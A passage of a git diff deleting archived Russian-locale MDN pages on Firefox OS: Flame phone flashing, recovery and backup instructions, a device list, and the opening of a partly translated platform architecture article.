-<p><strong>Note</strong>: You can check the update status of each build on <a href="https://wiki.mozilla.org/B2G/QA/Flame_OTA">the Flame OTA status page</a>.</p> -</div> - -<p>Once the install procedure finishes the phone should reboot into the updated build and display the first time user workflow.</p> - -<h4 id="Switch_to_nightly_update_channel">Switch to nightly update channel</h4> - -<p>In v2.2 you can change the <strong>Update channel</strong> from <code>default</code> to <code>nightly</code> under <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Update_channel">Developer settings</a>.</p> - -<p>Below is the older method, if you don't find that setting in your device.</p> - -<ol> - <li>Make sure remote debugging is enabled on your Flame, using the <em>Remote debugging/Debugging via USB</em> option in the device's <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a>.</li> - <li>Download the <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/change_channel.sh">change channel</a> script: follow the link, press the <em>Raw</em> button, then use your browser's save functionality to save the page directly as <code>change_channel.sh</code>.</li> - <li>In your Terminal, <code>cd</code> into the directory you saved the script in and change the update channel on your phone using the following command:<br> - - <pre class="brush: bash">./change_channel.sh -v nightly</pre> - </li> - <li>Once the phone reboots, check for updates by going into <em>Settings > Device information > Check now.</em></li> -</ol> - -<div class="note"> -<p><strong>Note</strong>: This step isn't needed in newer versions of the Firefox OS software — you should just get OTA updates automatically.</p> -</div> - -<div class="note"> -<p><strong>Note:</strong> You can choose between several different update channels. Run "<code>./change_channel.sh -h</code>" to see the other channel options.</p> -</div> - -<h3 id="Fastboot_mode">Fastboot mode</h3> - -<p>If flashing a new build to your phone fails to work, your phone may become unresponsive, leading to the phone rebooting in recovery mode. The recovery mode provides few options (<em>Reboot</em>, <em>Update from adb</em>, <em>Wipe data</em>, <em>Wipe cache</em>, and <em>Update from sdcard</em>). Unfortunately, selecting <em>Update from adb</em> triggers a sideload mode in which you cannot use the other adb commands. The <code>adb sideload</code> command would work but the various flash scripts rely on other adb commands.</p> - -<p>You can force fastboot mode as follows:</p> - -<ol> - <li>Power off the phone (which may involve removing the battery in extreme cases...).</li> - <li>Power the phone up again by pressing the Volume Down and Power buttons together.</li> -</ol> - -<p>The phone should now display the text "FASTBOOT": it is in fastboot mode and is waiting for a USB connection. At this point, a USB-connected, computer with adb installed should see the phone listed when the <code>fastboot devices</code> command is run. Note that regular adb would not see the device — only fastboot sees it. In this mode, you can use the flash script to install the last <a href="#Base Image">base image</a> as explained above. As the script does use both adb and fastboot commands, you may see some initial error and warnings from adb, but the device should be flashed properly at the end of the procedure.</p> - -<h3 id="Emergency_download_mode">Emergency download mode</h3> - -<p>If flashing a new build to your phone fails to work, your phone becomes unresponsive, and the phone cannot enter fastboot mode, you can use emergency mode for recovery. You'll need the provided emergency USB cable with the “Recovery Cable” red label on it and the <a href="http://cds.w5v8t3u9.hwcdn.net/Flame_Rescure_Tool_(updated_with_tutorial).zip">Emergency Download Tool</a> to enter this mode. For full instructions, see the Flame emergency rescue tool tutorial included in the download tool's files. Contact the device maker (flameservice [at] thundersoft.com) if you need any more technical support.</p> - -<p><img alt="Emergency download tool dialog box as it is when it start." src="https://mdn.mozillademos.org/files/9787/EmergencyDownloadTool.jpg" style="height: 363px; width: 497px;"></p> - -<div class="note"> -<p><strong>Note</strong>: The tool provided is Windows-only.</p> -</div> - -<h3 id="Recovery_mode">Recovery mode</h3> - -<p>You can enter recovery mode to clear your phone data or manually update the firmware. There are two ways to enter this mode:</p> - -<ul> - <li>If <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a> tools are available, make sure Remote debugging is turned on in the phone's <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Remote_debugging">Developer settings</a>, connect your phone to your computer via USB and enter <code>adb reboot recovery</code> on the command line.</li> - <li>If your phone is powered off, press the Volume Up + Power buttons together.</li> -</ul> - -<p>When in recovery mode, press the Volume up/down keys to move the selection highlight, and the Power key to select. Make sure you have your phone data (Contacts, SMS, etc.) backed up before clearing data, and your upgrade packages downloaded before updating.</p> - -<h2 id="Updating_your_phone_via_an_adb_sideload"><a id="sideload" name="sideload"></a>Updating your phone via an adb sideload</h2> - -<div> -<div> -<div> -<div> -<div>If you have adb installed on your computer, you can perform an adb sideload to update your phone, given the current sideload <a href="http://cds.w5v8t3u9.hwcdn.net/v18D_nightly_v5/update.zip">update.zip</a> build. To do this:</div> - -<ol> - <li>Connect the device to the computer via USB.</li> - <li>Type the following : - <pre class="brush: bash">adb reboot recovery</pre> - </li> - <li>Press volume down once on the device to get to the option "apply update from ADB". If you went too far you can press volume up to move up the menu selection.</li> - <li>Press the power button to select the option.</li> - <li>On the computer, in the directory that you have stored the update.zip, type: - <pre class="brush: bash">adb sideload update.zip -</pre> - </li> - <li>Wait until the sideload finishes; on the device it should issue the message "Install from ADB complete".</li> - <li>navigate to the "reboot system now" option on the phone by pressing the volume up button on the device, then hit the power button to select that option.</li> -</ol> -</div> -</div> -</div> -</div> - -<h2 id="Backing_up_and_restoring_your_Flame_data">Backing up and restoring your Flame data</h2> - -<p>When using a Flame, you won't want to lose your phone's contacts and other data while upgrading to a new build (as explained earlier in this article). To backup and restore data you can use our Backup and restore profile tool, which is contained in the <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool">B2G-flash-tool Git repo</a>.</p> - -<ol> - <li>To use this, first open up your terminal/command line.</li> - <li>Clone the above repo (you'll need <a href="http://www.git-scm.com/downloads">Git installed</a>) using - <pre class="brush: bash">git clone https://github.com/Mozilla-TWQA/B2G-flash-tool</pre> - </li> - <li>The tool is a Python file: <code>backup_restore_profile.py</code>. Make sure you have <a href="https://www.python.org/downloads/">Python installed</a> (2.7.x is probably best.) Linux and Mac systems should have this out of the box.</li> - <li>Enter the directory you just cloned using <code>cd B2G-flash-tool</code>.</li> -</ol> - -<div class="note"> -<p><strong>Note</strong>: When using this tool, you'll also need to make sure that your phone is connected via USB to your computer, and that ADB (see <a href="#Important_steps_to_follow_first">Important steps to follow first</a> above) and Debugging via USB (in your device's <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a>) are enabled.</p> -</div> - -<div class="note"> -<p><strong>Note</strong>: If you get a message complaining about lack of permissions to execute this file, <code>cd</code> into the directory where you saved the file, and run the following command:</p> - -<pre class="brush: bash">chmod +x backup_restore_profile.py</pre> -</div> - -<h3 id="Backing_up_data_from_your_phone">Backing up data from your phone</h3> - -<p>Before backing up you should make sure your device is updated with the most recent OTA update. To do this, on your phone go to <em>Settings app > Device Information > Check for updates > click Check Now</em>. If there is an update available, you should shortly get a notification of an available update. Choose to install the update.</p> - -<p>Now, in the directory where you saved the <code>backup_restore_profile.py</code> file, run the following:</p> - -<pre class="brush: bash">python backup_restore_profile.py -b</pre> - -<p>This should save your device profile to a directory called <code>mozilla-profile</code>, in the same directory as the script is located.</p> - -<div class="warning"> -<p>Warning: by default, it does not save the internal sd card content. So files like photos or videos from the gallery app will not be saved. If you want to backup the sd card content, add the --sdcard option</p> - -<pre class="brush: bash">python backup_restore_profile.py -b --sdcard</pre> -</div> - -<h3 id="Restoring_data_to_your_phone">Restoring data to your phone</h3> - -<p>Before restoring you should again make sure your device is updated with the most recent OTA update. Go to <em>Settings app > Device Information > Check for updates > click Check Now</em>. If there is an update available, you should shortly get a notification of an available update. Choose to install the update.</p> - -<p>In the directory where your <code>mozilla-profile</code> directory is located (see above section), run the following:</p> - -<pre class="brush: bash">python backup_restore_profile.py -r</pre> - -<div class="note"> -<p><strong>Note</strong>: You can get a list of all the options the tool supports by running <code>python backup_restore_profile.py -h</code>.</p> -</div> - -<h2 id="Pushing_apps_to_your_Flame">Pushing apps to your Flame</h2> - -<p>The <a href="/en-US/Firefox_OS/Using_the_App_Manager">App Manager</a> and <a href="/en-US/docs/Tools/WebIDE">WebIDE</a> tools make it easy to push apps to your phone, for testing, etc.</p> - -<h2 id="RAM_adjustment">RAM adjustment</h2> - -<p>You can adjust the available RAM capacity to see how apps perform on Firefox OS phones with lower memory footprints.</p> - -<p>This is accomplished by entering fastboot mode (install fastboot first, which is available on the same SDK page as <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a>) and typing:</p> - -<pre class="brush: bash">adb reboot bootloader -fastboot oem mem [0|256-1024]</pre> - -<p>“0” is the memory automatically detected and “256-1024” is the number of megabytes. For example, if you want to adjust device RAM capacity to 512M, enter <code>fastboot oem mem 512</code>.</p> - -<p>You'll need to then reboot your device for the settings to take effect. This can be done using:</p> - -<pre class="brush: bash">fastboot reboot</pre> - -<p>The current memory size can be returned by entering fastboot mode and typing:</p> - -<pre class="brush: bash">fastboot getvar mem -</pre> diff --git a/files/ru/archive/b2g_os/phone_guide/index.html b/files/ru/archive/b2g_os/phone_guide/index.html deleted file mode 100644 index fbaa5be840..0000000000 --- a/files/ru/archive/b2g_os/phone_guide/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Firefox OS phone guide -slug: Archive/B2G_OS/Phone_guide -translation_of: Archive/B2G_OS/Phone_guide ---- -<div class="summary"> -<div class="warning"> -<p><span class="seoSummary">This section contains developer information relevant to specific phones that run Firefox OS — both developer and consumer devices.</span> We have general information available on <a href="/en-US/Firefox_OS/Building_and_installing_Firefox_OS" title="Building and installing Firefox OS">Building and installing Firefox OS</a> and <a href="/en-US/Firefox_OS/Developing_Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS/Hacking_Firefox_OS">Hacking Firefox OS</a>, so please go there for information about building and installing the platform from scratch. Developers with specific phones in their possession may however find the following articles useful.</p> -</div> -</div> - -<h2 id="Developer_phone_information">Developer phone information</h2> - -<p>The phones listed here are specifically geared towards developers wanting to experiment with Firefox OS, including developing apps and contributing to the operating system itself. As such, they typically have unlocked SIMs, system files, etc.</p> - -<dl> - <dt><a href="/en-US/Firefox_OS/Phone_guide/Flame">Flame</a></dt> - <dd>The Flame device is the official reference device for developing, testing, and debugging Firefox OS and open web apps, produced in partnership with T<sup>2</sup>Mobile.</dd> - <dt><a href="/en-US/Firefox_OS/Phone_guide/Geeksphone">Geeksphone</a></dt> - <dd>In this article we cover some basic tips on how to keep your Geeksphone up-to-date and how to tweak the system Gaia applications.</dd> - <dt><a href="/en-US/Firefox_OS/Phone_guide/ZTE_OPEN">ZTE OPEN</a></dt> - <dd>This article contains information on the ZTE OPEN Firefox OS device.</dd> - <dt><a href="/en-US/Firefox_OS/Phone_guide/ZTE_OPEN_C">ZTE OPEN C</a></dt> - <dd>The ZTE Open C is an updated ZTE-produced Firefox OS device, with higher end hardware and newer software.</dd> -</dl> - -<h2 id="Consumer_phone_information">Consumer phone information</h2> - -<p>The phones listed here are consumer models, so not ideal for developers wanting to hack on devices. However, There is still useful information here for developers wanting to develop apps for specific locales, or wanting to make sure their apps work on a specific device. For a more complete list of devices, see our <a href="https://www.mozilla.org/en-US/firefox/os/devices/">Find Firefox OS near you</a> page.</p> - -<dl> - <dt><a href="/en-US/Firefox_OS/Phone_guide/Symphony_GoFox_F15">Symphony GoFox F15</a></dt> - <dd>The Symphony GoFox F15 is the first Firefox OS Device to come with 3G video calling capability, launched in Bangladesh.</dd> - <dt><a href="/en-US/Firefox_OS/Phone_guide/Fx0">Fx0</a></dt> - <dd>The Fx0 is a consumer Firefox OS device, and marks the first Firefox OS phone release in Japan. It is released by KDDI.</dd> - <dt><a href="/en-US/Firefox_OS/Phone_guide/Intex_Cloud_FX">Intex Cloud FX</a></dt> - <dd>The Intex Cloud FX is a consumer Firefox OS smart phone, and marks the very first Firefox OS Tarako phone release in India (based on Firefox OS 1.3T.)</dd> - <dt><a href="/en-US/Firefox_OS/Phone_guide/Spice_Fire_One_MI_FX1">Spice Firefox MI FX1</a></dt> - <dd>The Spice Fire One MI FX1 is a consumer Firefox OS smart phone, based on Tarako Firefox OS (1.3T) and released in India.</dd> - <dt><a href="/en-US/Firefox_OS/Phone_guide/Alcatel_Onetouch_Fire_C_4020D">Alcatel Onetouch Fire 2C 4020D</a></dt> - <dd>The Alcatel Onetouch Fire C is a consumer Firefox OS smart phone, based on Tarako Firefox OS (1.3T) and released in India.</dd> - <dt><a href="/en-US/Firefox_OS/Phone_guide/Zen_U105_Fire">Zen U105 Fire</a></dt> - <dd>This article contains information on the budget Smartphone Zen U105 Fire, available in India.</dd> - <dt><a href="/en-US/Firefox_OS/Phone_guide/LG_fireweb">LG Fireweb</a></dt> - <dd>LG Fireweb is a consumer Firefox OS Smartphone, based on Firefox OS 1.1 and available in Uruguay and Brasil.</dd> - <dt><a href="/en-US/Firefox_OS/Phone_guide/LG_fireweb"> </a><a href="https://developer.mozilla.org/en-US/Firefox_OS/Phone_guide/Huawei_Y300_II">Huawei Y300 II</a></dt> - <dd>Huawei Y300 II is a consumer Firefox OS Smartphone, based on Firefox OS 1.1 and available in the Philippines and Mexico.</dd> -</dl> - -<dl> - <dt><a href="https://developer.mozilla.org/en-US/Firefox_OS/Phone_guide/Cherry_Mobile_Ace">Cherry Mobile Ace</a></dt> - <dd>The Cherry Mobile Ace is a consumer Firefox OS Smartphone, based on Firefox OS 1.3T and available in the Philippines.</dd> - <dt><a href="https://developer.mozilla.org/en-US/Firefox_OS/Phone_guide/Alcatel_One_Touch_Fire">Alcatel One Touch Fire</a></dt> - <dd>Alcatel One Touch Fire is a consumer Firefox OS Smartphone, based on Firefox OS 1.3 and available in more than 5 countries.</dd> - <dt><a href="https://developer.mozilla.org/en-US/Firefox_OS/Phone_guide/Alcatel_One_Touch_Fire_C">Alcatel Onetouch Fire C</a></dt> - <dd>The Alcatel One touch Fire C is a consumer Firefox OS smart phone, based on Tarako Firefox OS (1.3T) and released in India.</dd> - <dt><a href="https://developer.mozilla.org/en-US/Firefox_OS/Phone_guide/Alcatel_One_Touch_Fire_E">Alcatel Onetouch Fire E</a></dt> - <dd>The Alcatel Onetouch Fire E is a consumer Firefox OS smart phone, available in 5 countries.</dd> - <dt style="font-size: 13.63636302948px; line-height: 19.0909080505371px;"><a href="https://developer.mozilla.org/en-US/Firefox_OS/Phone_guide/ZTE_Open_II">ZTE Open II</a></dt> - <dd style="font-size: 13.63636302948px; line-height: 19.0909080505371px;"><strong style="font-size: 13.63636302948px; font-weight: bold; line-height: 19.0909080505371px;">ZTE Open II</strong> is a consumer Firefox OS smart phone which has <span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;">has a</span><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;">1.2 GHz dual core </span><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;">processor and a </span><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;">2.0 MP </span><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;">Rear Camera</span>, available in 7 countries.</dd> -</dl> - -<h2 id="General_Firefox_OS_information">General Firefox OS information</h2> - -<dl> - <dt><a href="/en-US/Firefox_OS/Phone_guide/Phone_specs">Firefox OS phone data</a></dt> - <dd>In this article we list the various available Firefox OS phones along with information such as their code names, availability, and specific hardware features.</dd> - <dt><a href="/en-US/Firefox_OS/Phone_guide/Firefox_OS_device_features">General device features</a></dt> - <dd>This page lists typical Firefox OS hardware features and minimum hardware requirements.</dd> - <dt><a href="/en-US/Firefox_OS/Troubleshooting">Troubleshooting</a></dt> - <dd>This article provides tips for resolving common problems you may have while using Firefox OS.</dd> - <dt><a href="/en-US/Firefox_OS/Phone_guide/Best_practices_open_reference_devices">Best practices for open reference devices</a></dt> - <dd>A set of best practices that we believe should come highly recommended for any widely available open reference devices. All of the recent Firefox OS reference devices have followed these practices.</dd> -</dl> diff --git a/files/ru/archive/b2g_os/platform/architecture/index.html b/files/ru/archive/b2g_os/platform/architecture/index.html deleted file mode 100644 index 3fc82b1605..0000000000 --- a/files/ru/archive/b2g_os/platform/architecture/index.html +++ /dev/null @@ -1,718 +0,0 @@ ---- -title: Firefox OS architecture -slug: Archive/B2G_OS/Platform/Architecture -translation_of: Archive/B2G_OS/Architecture ---- -<div class="summary"> -<p><span class="seoSummary">This article is a high-level overview of the architecture of the Firefox OS platform, introducing key concepts and explaining how its components interact at a basic level.</span></p> -</div> - -<div class="note"> -<p><strong>Note:</strong> Помните, что Firefox OS находится ещё в стадии разработки. Архитектура, описываемая ниже, не обязательно является окончательной и некоторые положения могут измениться.</p> -</div> - -<h2 id="Firefox_OS_терминология">Firefox OS терминология</h2> - -<p><span id="result_box" lang="ru"><span class="hps">Есть</span> <span class="hps">несколько терминов, которые</span> <span class="hps">вы должны</span> <span class="hps">понимать, прежде чем</span> <span class="hps">читать дальше</span><span class="hps"> нашу</span> <span class="hps">документацию</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>.</span></span></p> - -<dl> - <dt>B2G</dt> - <dd>Short for Boot to Gecko.</dd> - <dt>Boot to Gecko</dt> - <dd><span id="result_box" lang="ru"><span>Инженерно</span> <span class="hps">кодовое название</span> <span class="hps">операционной системы</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>.</span> <span class="hps">Вы</span> <span class="hps">часто будете видеть</span> <span class="hps">этот термин,</span> <span class="hps">используется</span> <span class="hps">для обозначения</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>, так как</span> <span class="hps">он использовался</span> <span class="hps">в течение длительного</span> <span class="hps">времени, прежде чем</span> <span class="hps">проект</span> <span class="hps">получил</span> <span class="hps">официальное название</span><span>.</span></span></dd> - <dt>Firefox OS</dt> - <dd>Firefox OS is basically Mozilla's (and OEM partner's) branding and support services applied on top of <strong>Boot to Gecko</strong>, to create a final release product.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Gaia" title="/en-US/docs/Mozilla/Firefox_OS/Gaia">Gaia</a></dt> - <dd> - <p>Это пользовательский интерфейс платформы Firefox OS. Всё, что отображается на экране с момента запуска Firefox OS – результат работы слоя Gaia. Именно Gaia реализует функцию блокировки экрана, начальный экран и все стандартные приложения, которые обычно установлены на современных смартфонах. Gaia реализована полностью на HTML, CSS и JavaScript. При этом она лишь реализует интерфейс взаимодействия с ниже лежащим уровнем, слоем Gecko, посредством открытых Web API. Сторонние приложения устанавливаются на уровне Gaia.</p> - </dd> - <dt><a href="/en-US/docs/Gecko" title="/en-US/docs/Accessibility/AT-APIs/Gecko">Gecko</a></dt> - <dd> - <p>Это среда исполнения приложений под Firefox OS; т.е. этот слой обеспечивает поддержку трёх открытых стандартов: HTML, CSS, JS. Гарантируется правильная работа API на всех операционных системах, поддерживающих Gecko. Это достигается за счёт того, что в Gecko включены, среди прочего, поддержка сетевых протоколов, графический движок, виртуальная машина JavaScript и промежуточные слои-порты.</p> - </dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Gonk" title="/en-US/docs/Mozilla/Firefox_OS/Gonk">Gonk</a></dt> - <dd>Gonk – это низкоуровневый слой платформы Fiefox OS, состоящий из ядра Linux (основан на Android Open Source Project (AOSP)) и уровня абстракции аппаратного обеспечения (HAL). Ядро и несколько пользовательских библиотек – это популярные проекты с открытым исходным кодом: Linux, libusb, bluez и т.д. Некоторые части HAL поставляются с AOSP: GPS, камера и другие. Можно сказать, Gonk – очень простой дистрибутив Linux. Gonk – это целевая платформа для Gecko, т.е. Gecko портируется на Gonk, также как и на OS X, Windows и Android. Разработчикам рекомендуется рассматривать Gonk как «чёрный ящик», выполняющий всю сложную работу по управлению аппаратной частью. Т.к. Mozilla полностью контролирует Gonk, Gecko может получить доступ к таким интерфейсам, которые на других операционных системах получить невозможно. Например, Gecko обладает прямым доступом ко всему стэку телефонии и к буферу отображаемых кадров на Gonk, но не имеет этих возможностей на остальных операционных системах.system.</dd> - <dt><a name="Jank">Jank</a></dt> - <dd>This term, often used in the mobile apps space, refers to the effect of slow/inefficient code operations in an app, which block updating of the UI and cause it to become laggy or unresponsive. Our Gaia engineers use various optimization techniques to try to avoid this at all costs.</dd> -</dl> - -<h2 id="Overall_architecture">Overall architecture</h2> - -<p>The following figure compares architectures between proprietary platforms and Firefox OS.</p> - -<p><img alt="on the left is a native mobile architecture stack, on the right is the Firefox OS architecture. they are similarm except that the native stack is all proprietary device functionality, and the Firefox OS stack is all done with open source and web technologies." src="https://mdn.mozillademos.org/files/9487/general-architecture.png" style="display: block; height: 488px; margin: 0px auto; width: 997px;"></p> - -<p>Firefox OS eliminates the native API layer between the operating system and application layers. This integrated design reduces platform overhead and simplifies security without sacrificing performance or a rich user smart phone experience.</p> - -<ol> - <li><a href="/en-US/Firefox_OS/Platform/Gaia">Gaia</a> is the core web apps of the device, and user interface layer, all written in HTML5, CSS and JavaScript, with a number of exposed APIs to allow the UI code to interact with the phone hardware and Gecko functionality.</li> - <li><a href="/en-US/docs/Mozilla/Gecko">Gecko</a> is the web engine and presentation layer in Firefox OS that connects hardware to HTML by serving as the interface between web content and the underlying device. Gecko provides an HTML5 parsing and rendering engine, programmatic access to hardware functionality via secure web APIs, a comprehensive security framework, update management, and other core services.</li> - <li><a href="/en-US/Firefox_OS/Platform/Gonk">Gonk</a> is the kernel-level component in the Firefox OS stack that serves as the interface between Gecko and the underlying hardware. Gonk controls the underlying hardware and exposes hardware capabilities to Web APIs implemented in Gecko. Gonk can be seen as the “black box” that does all the complex, detailed work behind the scenes to control the mobile device by enacting requests at the hardware level.</li> - <li>The mobile device is the mobile phone hardware running Firefox OS. The OEM is responsible for providing the mobile device.</li> -</ol> - -<h2 id="Specific_Firefox_OS_architecture">Specific Firefox OS architecture</h2> - -<p><img alt="Firefox OS Architecture" src="/files/4605/FirefoxOS.png" style="display: block; height: 915px; margin: 0px auto; width: 754px;"></p> - -<h2 id="Firefox_OS_bootup_procedure">Firefox OS bootup procedure</h2> - -<p>This section describes the process by which Firefox OS devices boot, what parts are involved, and where. Вкратце, основная система загрузки начинается с загрузчиков ядра, происходит инициализация машинного кода, затем запускается порт Gecko и сам Gecko в пользовательском пространстве, затем, наконец, запускаются системные приложения, оконный менеджер и программа начального экрана. Поверх этого и будут запускаться остальные приложения.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/7491/bootup.png" style="display: block; height: 1979px; margin: 0px auto; width: 2112px;"></p> - -<h3 id="The_bootstrapping_process">The bootstrapping process</h3> - -<p>When a Firefox OS device is first turned on, execution begins in the primary bootloader. From there, the process of loading the main operating system proceeds in the typical way; a succession of increasingly higher-level bootloaders bootstrap the next loader in the chain. At the end of the process, execution is handed off to the Linux kernel.</p> - -<p>There are a few points worth noting about the boot process:</p> - -<ul> - <li>The bootloaders usually display the first splash screen seen by the user during device startup; this is typically a vendor logo.</li> - <li>The bootloaders implement flashing an image to the device. Different devices use different protocols; most phones use the <a href="http://android-dls.com/wiki/index.php?title=Fastboot" title="http://android-dls.com/wiki/index.php?title=Fastboot">fastboot protocol</a>, but the Samsung Galaxy S II uses the odin protocol.</li> - <li>By the end of the bootstrapping process, the modem image is usually loaded and running on the modem processor. How this happens is highly device-specific and may be proprietary.</li> -</ul> - -<h3 id="Ядро_Linux">Ядро Linux</h3> - -<p>Ядро Linux, используемое Gonk очень похоже на основную версию Linux, от которой и происходит (основано на Android Open Source Project). В нём есть несколько изменений от AOSP, которые не вошли в основную версию ядра Linux. Вдобавок производители иногда вносят изменения в ядро и загружают эти изменения в свои продукты. Однако, в основном ядро Linux близко к основной версии.</p> - -<p>Процесс загрузки Linux хорошо задокументирован и описан на многих Интернет-ресурсах, поэтому данная статья не будет раскрывать эту тему.</p> - -<p>Ядро Linux включает устройство и запускает жизненно необходимые процессы. Оно выполняет процессы, определённые в init.rc и его наследнике init.b2g.rc, чтобы запустить необходимые процессы, такие как b2g (базовый процесс Firefox OS, содержащий Gecko) и rild (процесс, связанный с обеспечением возможностей телефонии, он может принадлежать разным чипсетам). В конце запускается процесс init, подобно тому, как это происходит в большинстве UNIX-подобных операционных системах.</p> - -<p>Как только процесс init запущен, ядро Linux начинает обрабатывает системные вызовы из пользовательского пространства, аппаратной части и прерывания. Доступ ко многим аппаратным возможностям предоставляется пользовательской части с помощью sysfs. Например, ниже представлен фрагмент кода в Gecko, который считывает состояние батареи:</p> - -<pre class="brush:cpp;">FILE *capacityFile = fopen("/sys/class/power_supply/battery/capacity", "r"); -double capacity = dom::battery::kDefaultLevel * 100; -if (capacityFile) { - fscanf(capacityFile, "%lf", &capacity); - fclose(capacityFile); -}</pre> - -<h3 id="More_on_the_init_process">More on the init process</h3> - -<p>Процесс init в Gonk производит загрузку файловой системы и запускает системные сервисы. После этого, Gonk работает в качестве менеджера процессов. Это довольно похоже на реализацию инициализации в других UNIX-подобных операционных системах. Интерпретируются сценарии (т.е. файлы init*.rc), состоящие из команд, описывающих, что должно быть сделано для загрузки многочисленных сервисов. Init.rc Firefox OS – это обычно вариант init.rc Android для того же устройства с исправлениями, необходимыми для Fiefox OS. Они могут отличаться от устройства к устройству.</p> - -<p>Ключевой задачей процесса init является запуск процесса boot to Gecko, ядра операционной системы Firefox OS.</p> - -<p>Пример кода в init.rc:</p> - -<pre>service b2g /system/bin/b2g.sh - class main - onrestart restart media</pre> - -<div class="note"> -<p><strong>Note:</strong> Exactly how much <code>init.rc</code> differs from the Android version varies from device to device; sometimes, <code>init.b2g.rc</code> is simply appended, and sometimes the patches are more significant.</p> -</div> - -<h2 id="The_userspace_process_architecture">The userspace process architecture</h2> - -<p>Now it's useful to take a high-level look at how the various components of Firefox OS fit together and interact with one another. This diagram shows the primary userspace processes in Firefox OS.</p> - -<p><a href="/files/3849/B2G userspace architecture.svg"><img alt="Userspace diagram" src="/files/3849/B2G%20userspace%20architecture.svg" style="float: right; height: 491px; position: relative; width: 520px;"></a></p> - -<div class="note"> -<p><strong>Note:</strong> Keep in mind that since Firefox OS is under active development, this diagram is subject to change, and may not be entirely accurate.</p> -</div> - -<p>The <code>b2g</code> process is the primary system process. It runs with high privileges; it has access to most hardware devices. <code>b2g</code> communicates with the modem, draws to the display framebuffer, and talks to GPS, cameras, and other hardware features. Internally, <code>b2g</code> runs the Gecko layer (implemented by <code>libxul.so</code>). See <a href="#Gecko">Gecko</a> for details on how the Gecko layer works, and how <code>b2g</code> communicates with it.</p> - -<h3 id="b2g">b2g</h3> - -<p>The <code>b2g</code> process may, in turn, spawn a number of low-rights <strong>content processes</strong>. These processes are where web applications and other web content are loaded. These processes communicate with the main Gecko server process through <a href="/en-US/docs/IPDL" title="/en-US/docs/IPDL">IPDL</a>, a message-passing system.</p> - -<p>The <code>b2g</code> process runs libxul, which references <code>b2g/app/b2g.js</code> to get default preferences. From the preferences it will open the described HTML file <code>b2g/chrome/content/shell.html</code>, which is compiled within the <code>omni.ja</code> file. <code>shell.html</code> includes <code>b2g/chrome/content/shell.js</code> file, which triggers the Gaia <code>system</code> app.</p> - -<h3 id="rild">rild</h3> - -<p>The <code>rild</code> process is the interface to the modem processor. <code>rild</code> is the daemon that implements the <strong>Radio Interface Layer</strong> (RIL). It's a proprietary piece of code that's implemented by the hardware vendor to talk to their modem hardware. <code>rild</code> makes it possible for client code to connect to a UNIX-domain socket to which it binds. It's started up by code like this in the <code>init</code> script:</p> - -<pre>service ril-daemon /system/bin/rild - socket rild stream 660 root radio</pre> - -<h3 id="rilproxy">rilproxy</h3> - -<p>In Firefox OS, the <code>rild</code> client is the <code>rilproxy</code> process. This acts as a dumb forwarding proxy between <code>rild</code> and <code>b2g</code>. This proxy is needed as an implementation detail; suffice it to say, it is indeed necessary. The <a href="https://github.com/mozilla-b2g/rilproxy" title="https://github.com/mozilla-b2g/rilproxy"><code>rilproxy</code> code can be found on GitHub</a>.</p> - -<h3 id="mediaserver">mediaserver</h3> - -<p>The <a href="https://github.com/android/platform_frameworks_base/tree/ics-mr0-release/media/libmediaplayerservice" title="https://github.com/android/platform_frameworks_base/tree/ics-mr0-release/media/libmediaplayerservice"><code>mediaserver</code> process</a> controls audio and video playback. Gecko talks to it through an Android Remote Procedure Call (RPC) mechanism. Some of the media that Gecko can play (OGG Vorbis audio, OGG Theora video, and <a href="http://www.webmproject.org/about/" title="http://www.webmproject.org/about/">WebM</a> video) are decoded by Gecko and sent directly to the <code>mediaserver</code> process. Other media files are decoded by <code>libstagefright</code>, which is capable of accessing proprietary codecs and hardware encoders.</p> - -<div class="note"> -<p><strong>Note:</strong> The <code>mediaserver</code> process is a "temporary" component of Firefox OS; it's there to aid in our initial development work, but is expected to go away eventually. This will most likely not happen until Firefox OS 2.0 at the earliest, however.</p> -</div> - -<h3 id="netd">netd</h3> - -<p>The <code>netd</code> process is used to configure network interfaces.</p> - -<h3 id="wpa_supplicant">wpa_supplicant</h3> - -<p>The <code>wpa_supplicant</code> process is the standard UNIX-style daemon that handles connectivity with WiFi access points.</p> - -<h3 id="dbus-daemon">dbus-daemon</h3> - -<p>The dbus-daemon implements <a href="http://www.freedesktop.org/wiki/Software/dbus" title="http://www.freedesktop.org/wiki/Software/dbus">D-Bus</a>, a message bus system that Firefox OS uses for Bluetooth communication.</p> - -<h2 id="Gecko">Gecko</h2> - -<p><a href="/en-US/docs/Gecko" title="/en-US/docs/Gecko">Gecko</a>, as previously mentioned, is the implementation of web standards (<a href="/en-US/docs/HTML" title="/en-US/docs/HTML">HTML</a>, <a href="/en-US/docs/CSS" title="/en-US/docs/CSS">CSS</a>, and <a href="/en-US/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a>) that is used to implement everything the user sees on Firefox OS, and control interactions with the phone hardware. Web apps connect HTML5 to hardware via controlled, secure Web APIs, implemented in<br> - Gecko. The Web APIs provide programmatic access to features in the underlying mobile device hardware (such as the battery or vibration), along with data that is stored on, or available to, a device (such as the calendar or contacts). Web content invokes the accessible Web APIs within HTML5.</p> - -<p>An app consists of a collection of related HTML5 web content. To build web apps that run on Firefox OS mobile devices, developers simply assemble, package, and distribute this web content. At run time, this web content is interpreted, compiled, and rendered in a web browser. For more information on Apps, see the <a href="/en-US/Apps">App Center</a>.</p> - -<div class="note"> -<p><strong>Note</strong>: To search the Gecko 